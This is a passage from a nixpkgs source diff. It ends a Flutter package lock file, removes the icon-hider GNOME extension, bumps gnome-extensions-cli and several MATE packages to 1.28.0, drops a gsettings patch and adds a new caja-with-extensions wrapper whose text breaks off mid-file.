+        "sha256": "8829d8a55c13fc0e37127c29fedf290c102f4e40ae94ada574091fe0ff96c917",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.8.3"
+    },
+    "path_provider_linux": {
+      "dependency": "transitive",
+      "description": {
+        "name": "path_provider_linux",
+        "sha256": "f7a1fe3a634fe7734c8d3f2766ad746ae2a2884abe22e241a8b301bf5cac3279",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.2.1"
+    },
+    "path_provider_platform_interface": {
+      "dependency": "transitive",
+      "description": {
+        "name": "path_provider_platform_interface",
+        "sha256": "94b1e0dd80970c1ce43d5d4e050a9918fce4f4a775e6142424c30a29a363265c",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.1"
+    },
+    "path_provider_windows": {
+      "dependency": "transitive",
+      "description": {
+        "name": "path_provider_windows",
+        "sha256": "8bc9f22eee8690981c22aa7fc602f5c85b497a6fb2ceb35ee5a5e5ed85ad8170",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.2.1"
+    },
+    "platform": {
+      "dependency": "transitive",
+      "description": {
+        "name": "platform",
+        "sha256": "ae68c7bfcd7383af3629daafb32fb4e8681c7154428da4febcff06200585f102",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.1.2"
+    },
+    "plugin_platform_interface": {
+      "dependency": "transitive",
+      "description": {
+        "name": "plugin_platform_interface",
+        "sha256": "da3fdfeccc4d4ff2da8f8c556704c08f912542c5fb3cf2233ed75372384a034d",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.6"
+    },
+    "provider": {
+      "dependency": "direct main",
+      "description": {
+        "name": "provider",
+        "sha256": "cdbe7530b12ecd9eb455bdaa2fcb8d4dad22e80b8afb4798b41479d5ce26847f",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "6.0.5"
+    },
+    "pub_semver": {
+      "dependency": "direct main",
+      "description": {
+        "name": "pub_semver",
+        "sha256": "40d3ab1bbd474c4c2328c91e3a7df8c6dd629b79ece4c4bd04bee496a224fb0c",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.4"
+    },
+    "pubspec": {
+      "dependency": "direct main",
+      "description": {
+        "name": "pubspec",
+        "sha256": "f534a50a2b4d48dc3bc0ec147c8bd7c304280fff23b153f3f11803c4d49d927e",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.3.0"
+    },
+    "quiver": {
+      "dependency": "transitive",
+      "description": {
+        "name": "quiver",
+        "sha256": "b1c1ac5ce6688d77f65f3375a9abb9319b3cb32486bdc7a1e0fdf004d7ba4e47",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.2.1"
+    },
+    "sentry": {
+      "dependency": "transitive",
+      "description": {
+        "name": "sentry",
+        "sha256": "39c23342fc96105da449914f7774139a17a0ca8a4e70d9ad5200171f7e47d6ba",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "7.9.0"
+    },
+    "sentry_flutter": {
+      "dependency": "direct main",
+      "description": {
+        "name": "sentry_flutter",
+        "sha256": "ff68ab31918690da004a42e20204242a3ad9ad57da7e2712da8487060ac9767f",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "7.9.0"
+    },
+    "shared_preferences": {
+      "dependency": "direct main",
+      "description": {
+        "name": "shared_preferences",
+        "sha256": "b7f41bad7e521d205998772545de63ff4e6c97714775902c199353f8bf1511ac",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.2.1"
+    },
+    "shared_preferences_android": {
+      "dependency": "transitive",
+      "description": {
+        "name": "shared_preferences_android",
+        "sha256": "8568a389334b6e83415b6aae55378e158fbc2314e074983362d20c562780fb06",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.2.1"
+    },
+    "shared_preferences_foundation": {
+      "dependency": "transitive",
+      "description": {
+        "name": "shared_preferences_foundation",
+        "sha256": "7bf53a9f2d007329ee6f3df7268fd498f8373602f943c975598bbb34649b62a7",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.3.4"
+    },
+    "shared_preferences_linux": {
+      "dependency": "transitive",
+      "description": {
+        "name": "shared_preferences_linux",
+        "sha256": "c2eb5bf57a2fe9ad6988121609e47d3e07bb3bdca5b6f8444e4cf302428a128a",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.3.1"
+    },
+    "shared_preferences_platform_interface": {
+      "dependency": "transitive",
+      "description": {
+        "name": "shared_preferences_platform_interface",
+        "sha256": "d4ec5fc9ebb2f2e056c617112aa75dcf92fc2e4faaf2ae999caa297473f75d8a",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.3.1"
+    },
+    "shared_preferences_web": {
+      "dependency": "transitive",
+      "description": {
+        "name": "shared_preferences_web",
+        "sha256": "d762709c2bbe80626ecc819143013cc820fa49ca5e363620ee20a8b15a3e3daf",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.2.1"
+    },
+    "shared_preferences_windows": {
+      "dependency": "transitive",
+      "description": {
+        "name": "shared_preferences_windows",
+        "sha256": "f763a101313bd3be87edffe0560037500967de9c394a714cd598d945517f694f",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.3.1"
+    },
+    "sky_engine": {
+      "dependency": "transitive",
+      "description": "flutter",
+      "source": "sdk",
+      "version": "0.0.99"
+    },
+    "source_span": {
+      "dependency": "transitive",
+      "description": {
+        "name": "source_span",
+        "sha256": "dd904f795d4b4f3b870833847c461801f6750a9fa8e61ea5ac53f9422b31f250",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.9.1"
+    },
+    "stack_trace": {
+      "dependency": "transitive",
+      "description": {
+        "name": "stack_trace",
+        "sha256": "c3c7d8edb15bee7f0f74debd4b9c5f3c2ea86766fe4178eb2a18eb30a0bdaed5",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.11.0"
+    },
+    "stream_channel": {
+      "dependency": "transitive",
+      "description": {
+        "name": "stream_channel",
+        "sha256": "83615bee9045c1d322bbbd1ba209b7a749c2cbcdcb3fdd1df8eb488b3279c1c8",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.1"
+    },
+    "string_scanner": {
+      "dependency": "transitive",
+      "description": {
+        "name": "string_scanner",
+        "sha256": "556692adab6cfa87322a115640c11f13cb77b3f076ddcc5d6ae3c20242bedcde",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.2.0"
+    },
+    "term_glyph": {
+      "dependency": "transitive",
+      "description": {
+        "name": "term_glyph",
+        "sha256": "a29248a84fbb7c79282b40b8c72a1209db169a2e0542bce341da992fe1bc7e84",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.2.1"
+    },
+    "test_api": {
+      "dependency": "transitive",
+      "description": {
+        "name": "test_api",
+        "sha256": "eb6ac1540b26de412b3403a163d919ba86f6a973fe6cc50ae3541b80092fdcfb",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.5.1"
+    },
+    "typed_data": {
+      "dependency": "transitive",
+      "description": {
+        "name": "typed_data",
+        "sha256": "facc8d6582f16042dd49f2463ff1bd6e2c9ef9f3d5da3d9b087e244a7b564b3c",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.3.2"
+    },
+    "uri": {
+      "dependency": "transitive",
+      "description": {
+        "name": "uri",
+        "sha256": "889eea21e953187c6099802b7b4cf5219ba8f3518f604a1033064d45b1b8268a",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.0.0"
+    },
+    "url_launcher": {
+      "dependency": "direct main",
+      "description": {
+        "name": "url_launcher",
+        "sha256": "47e208a6711459d813ba18af120d9663c20bdf6985d6ad39fe165d2538378d27",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "6.1.14"
+    },
+    "url_launcher_android": {
+      "dependency": "transitive",
+      "description": {
+        "name": "url_launcher_android",
+        "sha256": "b04af59516ab45762b2ca6da40fa830d72d0f6045cd97744450b73493fa76330",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "6.1.0"
+    },
+    "url_launcher_ios": {
+      "dependency": "transitive",
+      "description": {
+        "name": "url_launcher_ios",
+        "sha256": "7c65021d5dee51813d652357bc65b8dd4a6177082a9966bc8ba6ee477baa795f",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "6.1.5"
+    },
+    "url_launcher_linux": {
+      "dependency": "transitive",
+      "description": {
+        "name": "url_launcher_linux",
+        "sha256": "b651aad005e0cb06a01dbd84b428a301916dc75f0e7ea6165f80057fee2d8e8e",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.0.6"
+    },
+    "url_launcher_macos": {
+      "dependency": "transitive",
+      "description": {
+        "name": "url_launcher_macos",
+        "sha256": "b55486791f666e62e0e8ff825e58a023fd6b1f71c49926483f1128d3bbd8fe88",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.0.7"
+    },
+    "url_launcher_platform_interface": {
+      "dependency": "transitive",
+      "description": {
+        "name": "url_launcher_platform_interface",
+        "sha256": "95465b39f83bfe95fcb9d174829d6476216f2d548b79c38ab2506e0458787618",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.5"
+    },
+    "url_launcher_web": {
+      "dependency": "transitive",
+      "description": {
+        "name": "url_launcher_web",
+        "sha256": "ba140138558fcc3eead51a1c42e92a9fb074a1b1149ed3c73e66035b2ccd94f2",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.0.19"
+    },
+    "url_launcher_windows": {
+      "dependency": "transitive",
+      "description": {
+        "name": "url_launcher_windows",
+        "sha256": "95fef3129dc7cfaba2bc3d5ba2e16063bb561fc6d78e63eee16162bc70029069",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.0.8"
+    },
+    "uuid": {
+      "dependency": "transitive",
+      "description": {
+        "name": "uuid",
+        "sha256": "648e103079f7c64a36dc7d39369cabb358d377078a051d6ae2ad3aa539519313",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.0.7"
+    },
+    "vector_math": {
+      "dependency": "transitive",
+      "description": {
+        "name": "vector_math",
+        "sha256": "80b3257d1492ce4d091729e3a67a60407d227c27241d6927be0130c98e741803",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.4"
+    },
+    "win32": {
+      "dependency": "transitive",
+      "description": {
+        "name": "win32",
+        "sha256": "a6f0236dbda0f63aa9a25ad1ff9a9d8a4eaaa5012da0dc59d21afdb1dc361ca4",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.1.4"
+    },
+    "xdg_directories": {
+      "dependency": "transitive",
+      "description": {
+        "name": "xdg_directories",
+        "sha256": "589ada45ba9e39405c198fe34eb0f607cddb2108527e658136120892beac46d2",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.0.3"
+    },
+    "yaml": {
+      "dependency": "transitive",
+      "description": {
+        "name": "yaml",
+        "sha256": "75769501ea3489fca56601ff33454fe45507ea3bfb014161abc3b43ae25989d5",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.1.2"
+    }
+  },
+  "sdks": {
+    "dart": ">=3.0.5 <4.0.0",
+    "flutter": ">=3.10.0"
+  }
+}
diff --git a/pkgs/desktops/expidus/default.nix b/pkgs/desktops/expidus/default.nix
index 770050ba2878..0ee812c03975 100644
--- a/pkgs/desktops/expidus/default.nix
+++ b/pkgs/desktops/expidus/default.nix
@@ -1,4 +1,5 @@
 { callPackage }:
 {
+  calculator = callPackage ./calculator {};
   file-manager = callPackage ./file-manager {};
 }
diff --git a/pkgs/desktops/gnome/extensions/default.nix b/pkgs/desktops/gnome/extensions/default.nix
index bfb5f4ff33e6..89f5edb5f7bf 100644
--- a/pkgs/desktops/gnome/extensions/default.nix
+++ b/pkgs/desktops/gnome/extensions/default.nix
@@ -81,6 +81,7 @@ in rec {
       arc-menu = gnomeExtensions.arcmenu; # added 2021-02-14
       disable-unredirect = gnomeExtensions.disable-unredirect-fullscreen-windows; # added 2021-11-20
 
+      icon-hider = throw "gnomeExtensions.icon-hider was removed on 2024-03-15. The extension has not received any updates since 2020/3.34.";
       nohotcorner = throw "gnomeExtensions.nohotcorner removed since 2019-10-09: Since 3.34, it is a part of GNOME Shell configurable through GNOME Tweaks.";
       mediaplayer = throw "gnomeExtensions.mediaplayer deprecated since 2019-09-23: retired upstream https://github.com/JasonLG1979/gnome-shell-extensions-mediaplayer/blob/master/README.md";
       remove-dropdown-arrows = throw "gnomeExtensions.remove-dropdown-arrows removed since 2021-05-25: The extensions has not seen an update sine GNOME 3.34. Furthermore, the functionality it provides is obsolete as of GNOME 40.";
diff --git a/pkgs/desktops/gnome/extensions/manuallyPackaged.nix b/pkgs/desktops/gnome/extensions/manuallyPackaged.nix
index c0dc65bb3fa6..376a4a09bad8 100644
--- a/pkgs/desktops/gnome/extensions/manuallyPackaged.nix
+++ b/pkgs/desktops/gnome/extensions/manuallyPackaged.nix
@@ -6,7 +6,6 @@
   "drop-down-terminal@gs-extensions.zzrough.org" = callPackage ./drop-down-terminal { };
   "EasyScreenCast@iacopodeenosee.gmail.com" = callPackage ./EasyScreenCast { };
   "gsconnect@andyholmes.github.io" = callPackage ./gsconnect { };
-  "icon-hider@kalnitsky.org" = callPackage ./icon-hider { };
   "impatience@gfxmonk.net" = callPackage ./impatience { };
   "no-title-bar@jonaspoehler.de" = callPackage ./no-title-bar { };
   "pidgin@muffinmad" = callPackage ./pidgin-im-integration { };
diff --git a/pkgs/desktops/gnome/misc/gnome-extensions-cli/default.nix b/pkgs/desktops/gnome/misc/gnome-extensions-cli/default.nix
index 78ff97b1ae1f..65d3e07e2dc4 100644
--- a/pkgs/desktops/gnome/misc/gnome-extensions-cli/default.nix
+++ b/pkgs/desktops/gnome/misc/gnome-extensions-cli/default.nix
@@ -3,24 +3,24 @@
 , buildPythonApplication
 , poetry-core
 , colorama
-, more-itertools
 , packaging
 , pydantic
 , requests
 , pygobject3
+, tqdm
 , gobject-introspection
 , wrapGAppsNoGuiHook
 }:
 
 buildPythonApplication rec {
   pname = "gnome-extensions-cli";
-  version = "0.9.5";
+  version = "0.10.1";
   format = "pyproject";
 
   src = fetchPypi {
     pname = "gnome_extensions_cli";
     inherit version;
-    hash = "sha256-4eRVmG5lqK8ql9WpvXsf18znOt7kDSnpQnLfy73doy4=";
+    hash = "sha256-yAoo3NjNtTZSHmbLKzW2X7Cy2smLNp8/9vo+OPGxlVY=";
   };
 
   nativeBuildInputs = [
@@ -31,11 +31,11 @@ buildPythonApplication rec {
 
   propagatedBuildInputs = [
     colorama
-    more-itertools
     packaging
     pydantic
     requests
     pygobject3
+    tqdm
   ];
 
   pythonImportsCheck = [
diff --git a/pkgs/desktops/mate/atril/default.nix b/pkgs/desktops/mate/atril/default.nix
index 29c0e1b824e9..611721da3642 100644
--- a/pkgs/desktops/mate/atril/default.nix
+++ b/pkgs/desktops/mate/atril/default.nix
@@ -3,16 +3,17 @@
 , fetchurl
 , pkg-config
 , gettext
+, caja
 , gtk3
 , glib
 , libxml2
 , libarchive
 , libsecret
 , poppler
+, mate-desktop
 , itstool
 , hicolor-icon-theme
 , texlive
-, mate
 , wrapGAppsHook
 , enableEpub ? true
 , webkitgtk_4_1
@@ -28,11 +29,11 @@
 
 stdenv.mkDerivation rec {
   pname = "atril";
-  version = "1.26.2";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "wwW51fVxP0Jiau4DggkTA0IrPXGlbd1lkyzNsjx86SY=";
+    sha256 = "ztRyX26bccTqY2dr/DzDvgnSnboIqnp6uXlk4LQ1UWI=";
   };
 
   nativeBuildInputs = [
@@ -42,6 +43,7 @@ stdenv.mkDerivation rec {
   ];
 
   buildInputs = [
+    caja
     gtk3
     glib
     itstool
@@ -49,8 +51,7 @@ stdenv.mkDerivation rec {
     libsecret
     libxml2
     poppler
-    mate.caja
-    mate.mate-desktop
+    mate-desktop
     hicolor-icon-theme
     texlive.bin.core # for synctex, used by the pdf back-end
   ]
diff --git a/pkgs/desktops/mate/caja-dropbox/default.nix b/pkgs/desktops/mate/caja-dropbox/default.nix
index bb19521e835c..7841d0769a36 100644
--- a/pkgs/desktops/mate/caja-dropbox/default.nix
+++ b/pkgs/desktops/mate/caja-dropbox/default.nix
@@ -5,8 +5,8 @@
 , pkg-config
 , gobject-introspection
 , gdk-pixbuf
+, caja
 , gtk3
-, mate
 , python3
 , dropbox
 , mateUpdateScript
@@ -17,11 +17,11 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "caja-dropbox";
-  version = "1.26.0";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "16w4r0zjps12lmzwiwpb9qnmbvd0p391q97296sxa8k88b1x14wn";
+    sha256 = "t0w4qZQlS9PPfLxxK8LsdRagypQqpleFJs29aqYgGWM=";
   };
 
   patches = [
@@ -44,8 +44,8 @@ stdenv.mkDerivation rec {
   ];
 
   buildInputs = [
+    caja
     gtk3
-    mate.caja
     python3
   ];
 
diff --git a/pkgs/desktops/mate/caja-extensions/default.nix b/pkgs/desktops/mate/caja-extensions/default.nix
index 1cbbd97cc484..a73b892c5649 100644
--- a/pkgs/desktops/mate/caja-extensions/default.nix
+++ b/pkgs/desktops/mate/caja-extensions/default.nix
@@ -3,23 +3,24 @@
 , fetchurl
 , pkg-config
 , gettext
+, caja
+, glib
+, gst_all_1
 , gtk3
 , gupnp
-, mate
 , imagemagick
+, mate-desktop
 , wrapGAppsHook
 , mateUpdateScript
-, glib
-, substituteAll
 }:
 
 stdenv.mkDerivation rec {
   pname = "caja-extensions";
-  version = "1.26.1";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "WJwZ4/oQJC1iOaXMuVhVmENqVuvpTS6ypQtZUMzh1SA=";
+    sha256 = "0phsXgdAg1/icc+9WCPu6vAyka8XYyA/RwCruBCeMXU=";
   };
 
   nativeBuildInputs = [
@@ -29,31 +30,20 @@ stdenv.mkDerivation rec {
   ];
 
   buildInputs = [
+    caja
+    glib
+    gst_all_1.gstreamer
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-good
     gtk3
     gupnp
-    mate.caja
-    mate.mate-desktop
     imagemagick
-  ];
-
-  patches = [
-    (substituteAll {
-      src = ./hardcode-gsettings.patch;
-      caja_gsetttings_path = glib.getSchemaPath mate.caja;
-      desktop_gsetttings_path = glib.getSchemaPath mate.mate-desktop;
-    })
+    mate-desktop
   ];
 
   postPatch = ''
-    substituteInPlace open-terminal/caja-open-terminal.c --subst-var-by \
-      GSETTINGS_PATH ${glib.makeSchemaPath "$out" "${pname}-${version}"}
-    substituteInPlace sendto/caja-sendto-command.c --subst-var-by \
-      GSETTINGS_PATH ${glib.makeSchemaPath "$out" "${pname}-${version}"}
-    substituteInPlace wallpaper/caja-wallpaper-extension.c --subst-var-by \
-      GSETTINGS_PATH ${glib.makeSchemaPath "$out" "${pname}-${version}"}
-
     for f in image-converter/caja-image-{resizer,rotator}.c; do
-      substituteInPlace $f --replace "/usr/bin/convert" "${imagemagick}/bin/convert"
+      substituteInPlace $f --replace-fail 'argv[0] = "convert"' 'argv[0] = "${imagemagick}/bin/convert"'
     done
   '';
 
diff --git a/pkgs/desktops/mate/caja-extensions/hardcode-gsettings.patch b/pkgs/desktops/mate/caja-extensions/hardcode-gsettings.patch
deleted file mode 100644
index f37124963d0d..000000000000
--- a/pkgs/desktops/mate/caja-extensions/hardcode-gsettings.patch
+++ /dev/null
@@ -1,169 +0,0 @@
-diff --git a/open-terminal/caja-open-terminal.c b/open-terminal/caja-open-terminal.c
-index e14a9bf..691afab 100644
---- a/open-terminal/caja-open-terminal.c
-+++ b/open-terminal/caja-open-terminal.c
-@@ -135,8 +135,18 @@ desktop_opens_home_dir (void)
- {
- 	gboolean result;
- 	GSettings* settings;
--
--	settings = g_settings_new (COT_SCHEMA);
-+    GSettingsSchemaSource* schema_source;
-+    GSettingsSchema* schema;
-+
-+    schema_source = g_settings_schema_source_new_from_directory("@GSETTINGS_PATH@",
-+                                                                g_settings_schema_source_get_default(),
-+                                                                TRUE, NULL);
-+    schema = g_settings_schema_source_lookup(schema_source,
-+                                             COT_SCHEMA,
-+                                             FALSE);
-+    settings = g_settings_new_full(schema, NULL, NULL);
-+    g_settings_schema_source_unref(schema_source);
-+    g_settings_schema_unref(schema);
- 	result = g_settings_get_boolean (settings, COT_DESKTOP_KEY);
- 	g_object_unref (settings);
- 	return result;
-@@ -147,8 +157,18 @@ set_desktop_opens_home_dir (gboolean val)
- {
- 	gboolean result;
- 	GSettings* settings;
--
--	settings = g_settings_new (COT_SCHEMA);
-+    GSettingsSchemaSource* schema_source;
-+    GSettingsSchema* schema;
-+
-+    schema_source = g_settings_schema_source_new_from_directory("@GSETTINGS_PATH@",
-+                                                                g_settings_schema_source_get_default(),
-+                                                                TRUE, NULL);
-+    schema = g_settings_schema_source_lookup(schema_source,
-+                                             COT_SCHEMA,
-+                                             FALSE);
-+    settings = g_settings_new_full(schema, NULL, NULL);
-+    g_settings_schema_source_unref(schema_source);
-+    g_settings_schema_unref(schema);
- 	result = g_settings_set_boolean (settings, COT_DESKTOP_KEY, val);
- 	g_object_unref (settings);
- 	return result;
-@@ -159,8 +179,18 @@ desktop_is_home_dir (void)
- {
- 	gboolean result;
- 	GSettings* settings;
--
--	settings = g_settings_new (CAJA_SCHEMA);
-+    GSettingsSchemaSource* schema_source;
-+    GSettingsSchema* schema;
-+
-+    schema_source = g_settings_schema_source_new_from_directory("@caja_gsetttings_path@",
-+                                                                g_settings_schema_source_get_default(),
-+                                                                TRUE, NULL);
-+    schema = g_settings_schema_source_lookup(schema_source,
-+                                             CAJA_SCHEMA,
-+                                             FALSE);
-+    settings = g_settings_new_full(schema, NULL, NULL);
-+    g_settings_schema_source_unref(schema_source);
-+    g_settings_schema_unref(schema);
- 	result = g_settings_get_boolean (settings, CAJA_DESKTOP_KEY);
- 	g_object_unref (settings);
- 	return result;
-@@ -171,8 +201,18 @@ default_terminal_application (void)
- {
- 	gchar *result;
- 	GSettings* settings;
--
--	settings = g_settings_new (TERM_SCHEMA);
-+    GSettingsSchemaSource* schema_source;
-+    GSettingsSchema* schema;
-+
-+    schema_source = g_settings_schema_source_new_from_directory("@desktop_gsetttings_path@",
-+                                                                g_settings_schema_source_get_default(),
-+                                                                TRUE, NULL);
-+    schema = g_settings_schema_source_lookup(schema_source,
-+                                             TERM_SCHEMA,
-+                                             FALSE);
-+    settings = g_settings_new_full(schema, NULL, NULL);
-+    g_settings_schema_source_unref(schema_source);
-+    g_settings_schema_unref(schema);
- 	result = g_settings_get_string (settings, TERM_EXEC_KEY);
- 	g_object_unref (settings);
- 
-@@ -189,8 +229,18 @@ set_default_terminal_application (const gchar* exec)
- {
- 	gboolean result;
- 	GSettings* settings;
--
--	settings = g_settings_new (TERM_SCHEMA);
-+    GSettingsSchemaSource* schema_source;
-+    GSettingsSchema* schema;
-+
-+    schema_source = g_settings_schema_source_new_from_directory("@desktop_gsetttings_path@",
-+                                                                g_settings_schema_source_get_default(),
-+                                                                TRUE, NULL);
-+    schema = g_settings_schema_source_lookup(schema_source,
-+                                             TERM_SCHEMA,
-+                                             FALSE);
-+    settings = g_settings_new_full(schema, NULL, NULL);
-+    g_settings_schema_source_unref(schema_source);
-+    g_settings_schema_unref(schema);
- 	result = g_settings_set_string (settings, TERM_EXEC_KEY, exec);
- 	g_object_unref (settings);
- 	return result;
-diff --git a/sendto/caja-sendto-command.c b/sendto/caja-sendto-command.c
-index 8181db6..579dc81 100644
---- a/sendto/caja-sendto-command.c
-+++ b/sendto/caja-sendto-command.c
-@@ -801,6 +801,8 @@ caja_sendto_init (void)
- int main (int argc, char **argv)
- {
- 	GOptionContext *context;
-+    GSettingsSchemaSource* schema_source;
-+    GSettingsSchema* schema;
- 	GError *error = NULL;
- 
- #ifdef ENABLE_NLS
-@@ -818,7 +820,15 @@ int main (int argc, char **argv)
- 		return 1;
- 	}
- 
--	settings = g_settings_new ("org.mate.Caja.Sendto");
-+    schema_source = g_settings_schema_source_new_from_directory("@GSETTINGS_PATH@",
-+                                                                g_settings_schema_source_get_default(),
-+                                                                TRUE, NULL);
-+    schema = g_settings_schema_source_lookup(schema_source,
-+                                             "org.mate.Caja.Sendto",
-+                                             FALSE);
-+    settings = g_settings_new_full(schema, NULL, NULL);
-+    g_settings_schema_source_unref(schema_source);
-+    g_settings_schema_unref(schema);
- 	caja_sendto_init ();
- 	if (caja_sendto_plugin_init () == FALSE) {
- 		GtkWidget *error_dialog;
-diff --git a/wallpaper/caja-wallpaper-extension.c b/wallpaper/caja-wallpaper-extension.c
-index 3119e9f..4f80c88 100644
---- a/wallpaper/caja-wallpaper-extension.c
-+++ b/wallpaper/caja-wallpaper-extension.c
-@@ -47,6 +47,8 @@ set_wallpaper_callback (CajaMenuItem *item,
- {
-     GList *files;
-     GSettings *settings;
-+    GSettingsSchemaSource* schema_source;
-+    GSettingsSchema* schema;
-     CajaFileInfo *file;
-     gchar *uri;
-     gchar *filename;
-@@ -57,7 +59,15 @@ set_wallpaper_callback (CajaMenuItem *item,
-     uri = caja_file_info_get_uri (file);
-     filename = g_filename_from_uri(uri, NULL, NULL);
- 
--    settings = g_settings_new (WP_SCHEMA);
-+    schema_source = g_settings_schema_source_new_from_directory("@desktop_gsetttings_path@",
-+                                                                g_settings_schema_source_get_default(),
-+                                                                TRUE, NULL);
-+    schema = g_settings_schema_source_lookup(schema_source,
-+                                             WP_SCHEMA,
-+                                             FALSE);
-+    settings = g_settings_new_full(schema, NULL, NULL);
-+    g_settings_schema_source_unref(schema_source);
-+    g_settings_schema_unref(schema);
- 
-     g_settings_set_string (settings, WP_FILE_KEY, filename);
- 
diff --git a/pkgs/desktops/mate/caja-with-extensions/default.nix b/pkgs/desktops/mate/caja-with-extensions/default.nix
deleted file mode 100644
index 4de6d5d6d760..000000000000
--- a/pkgs/desktops/mate/caja-with-extensions/default.nix
+++ /dev/null
@@ -1,29 +0,0 @@
-{ stdenv
-, lib
-, makeWrapper
-, caja-extensions
-, caja
-, extensions ? [ caja-extensions ]
-, mateUpdateScript
-}:
-
-stdenv.mkDerivation {
-  pname = "${caja.pname}-with-extensions";
-  version = caja.version;
-
-  dontUnpack = true;
-
-  nativeBuildInputs = [
-    makeWrapper
-  ];
-
-  inherit caja;
-
-  installPhase = ''
-    mkdir -p $out/bin
-    makeWrapper $caja/bin/caja $out/bin/caja \
-    --set CAJA_EXTENSION_DIRS ${lib.concatMapStringsSep ":" (x: "${x.outPath}/lib/caja/extensions-2.0") extensions}
-  '';
-
-  inherit (caja.meta);
-}
diff --git a/pkgs/desktops/mate/caja/default.nix b/pkgs/desktops/mate/caja/default.nix
index fc5a8e93d9b9..a09cef4621a8 100644
--- a/pkgs/desktops/mate/caja/default.nix
+++ b/pkgs/desktops/mate/caja/default.nix
@@ -3,24 +3,26 @@
 , fetchurl
 , pkg-config
 , gettext
+, gtk-layer-shell
 , gtk3
 , libnotify
 , libxml2
 , libexif
 , exempi
-, mate
+, mate-desktop
 , hicolor-icon-theme
+, wayland
 , wrapGAppsHook
 , mateUpdateScript
 }:
 
 stdenv.mkDerivation rec {
   pname = "caja";
-  version = "1.26.3";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "gT7fCKNvmV7DwVBBMf+K+70CH24VhmQ/5dztXnPleQ0=";
+    sha256 = "HjAUzhRVgX7C73TQnv37aDXYo3LtmhbvtZGe97ghlXo=";
   };
 
   nativeBuildInputs = [
@@ -30,13 +32,15 @@ stdenv.mkDerivation rec {
   ];
 
   buildInputs = [
+    gtk-layer-shell
     gtk3
     libnotify
     libxml2
     libexif
     exempi
-    mate.mate-desktop
+    mate-desktop
     hicolor-icon-theme
+    wayland
   ];
 
   configureFlags = [ "--disable-update-mimedb" ];
diff --git a/pkgs/desktops/mate/caja/with-extensions.nix b/pkgs/desktops/mate/caja/with-extensions.nix
new file mode 100644
index 000000000000..b9a55b4b9209
--- /dev/null
+++ b/pkgs/desktops/mate/caja/with-extensions.nix
@@ -0,0 +1,61 @@
+{ stdenv
+, lib
+, glib
+, wrapGAppsHook
+, xorg
+, caja
+, cajaExtensions
+, extensions ? [ ]
+, useDefaultExtensions ? true
+}:
+
+let
+  selectedExtensions = extensions ++ (lib.optionals useDefaultExtensions cajaExtensions);
+in
+stdenv.mkDerivation {
+  pname = "${caja.pname}-with-extensions";
+  version = caja.version;
+
+  src = null;
+
+  nativeBuildInputs = [
+    glib
+    wrapGAppsHook
+  ];
+
+  buildInputs = lib.forEach selectedExtensions (x: x.buildInputs) ++ selectedExtensions
+    ++ [ caja ] ++ caja.buildInputs;
+
+  dontUnpack = true;
+  dontConfigure = true;
+  dontBuild = true;
+
+  preferLocalBuild = true;
+  allowSubstitutes = false;
+
+  installPhase = ''
+    runHook preInstall
+
+    mkdir -p $out
